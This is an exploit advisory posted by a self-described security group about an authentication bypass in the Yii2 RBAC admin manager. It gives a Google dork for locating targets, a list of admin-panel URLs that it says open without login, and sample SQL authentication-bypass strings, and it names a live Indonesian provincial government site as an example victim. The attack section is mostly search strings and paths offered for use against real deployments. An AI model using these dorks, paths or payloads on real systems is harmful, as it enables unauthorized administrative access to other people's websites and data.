################################################################################################# # Exploit Title : Powered by Yii Framework RBAC Manager for Yii 2 Improper Authentication Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 01/07/2018 # Vendor Homepage : yiiframework.com # Tested On : Windows # Software Download and Installation Links : packagist.org/packages/mdmsoft/yii2-admin ~ github.com/yii2mod/yii2-rbac ~ github.com/mdmsoft/yii2-admin + yiiframework.com/extension/rbac-manager ~ yiiframework.com/extension/yii2-admin ~ + travis-ci.org/mdmsoft/yii2-admin ~ scrutinizer-ci.com/g/mdmsoft/yii2-admin/?branch=master + codeclimate.com/github/mdmsoft/yii2-admin # Category : WebApps # Versions : 2.x and 3.x # Exploit Risk : Medium # CWE : CWE-287 [ Improper Authentication ] ################################################################################################# # Another Title : Powered by Yii Framework PHP Web Application Development Improper Authentication Vulnerability Yii Framework yii2-admin RBAC Manager for Yii 2 GUI manager for RABC (Role Base Access Control) Yii2. Easy to manage authorization of user Features of the Product [ Software ] Manage RBAC System in intuitive Tree-View Ceep cool with rekursion protection in RBAC Tree Generate PHP Code Full relational move, create, edit, delete support of RBAC Tree items. Assign and eject multiple Roles to and from multiple Users Create predefined buisness Rules for User Assignments Assign Roles in Secure Mode By Controller protected and not changeable Roles and Assignments Use easy checkAccess() methods in your Controller Create easy bizRule Code in your RBAC Roles and Assignments ################################################################################################ # Description for Improper Authentication Vulnerability [ CWE-287 ] + When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. + If software incorrectly validates user logon information or allows using different techniques of malicious credentials gathering (e.g. brute force, spoofing or change the URL links without giving a username and pass), an attacker can gain certain privileges within the application or disclose sensitive information. + If the parameter is equal to "user" the application allows viewing the information, if it is equal to "admin", then it is possible to edit information on the page: + If an attacker changes the value of the "group" parameter to "admin", he will be able to modify the page. + Powered by Yii Framework RBAC Manager for Yii 2 vulnerability results from software misconfiguration. + The attacker might be able to gain unauthorized access to the application and otherwise restricted areas and perform certain actions, e.g. disclose sensitive information, alter application, or even execute arbitrary code. + An attacker can use a variety of vectors to exploit this weakness, including brute-force, session fixation, and Man-in-the-Middle (MitM) attacks. Reference [ Short Explained by me ] => CWE-287: Improper Authentication [cwe.mitre.org] ################################################################################################# # Google Dork : inurl:''/emusrenbang/web/index.php?r='' # Administration Login Panel => /emusrenbang/web/index.php?r=site%2Flogin # Exploit : No Username. No Password. No Need for Login Credentials. Web don't need login. Just enter this link after URL Link. /emusrenbang/web/index.php?r=admin Whatever you give an exploit like [ anything' OR 'x'='x ] or [ '=''or' ] and many others as SQL Authentication Bypass. It always says that '' Incorrect username or password. '' But we will jump over the admindoor wall. This is called as Improper Authentication Vulnerability. 127.0.0.1/emusrenbang/web/index.php?r=site%2Flogin => [ Proof of Concept ] => archive.is/BLaE5 127.0.0.1/emusrenbang/web/index.php?r=admin => [ Proof of Concept ] => archive.is/D9dKP Useable Admin Control Panel URL Links => /emusrenbang/web/index.php?r=admin /emusrenbang/web/index.php?r=admin%2Fassignment /emusrenbang/web/index.php?r=admin%2Frole /emusrenbang/web/index.php?r=admin%2Fpermission /emusrenbang/web/index.php?r=admin%2Froute /emusrenbang/web/index.php?r=admin%2Frule /emusrenbang/web/index.php?r=admin%2Fmenu /emusrenbang/web/index.php?r=admin%2Fdefault%2Findex ################################################################################################# Indonesia Government Site [ Bappeda Provinsi Sumatera Utara 2016 © ] is only vulnerable website. # Example Site => eplanning.sumutprov.go.id/emusrenbang/web/index.php?r=admin%2Fmenu # [ Proof of Concept ] => archive.is/lCRem ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################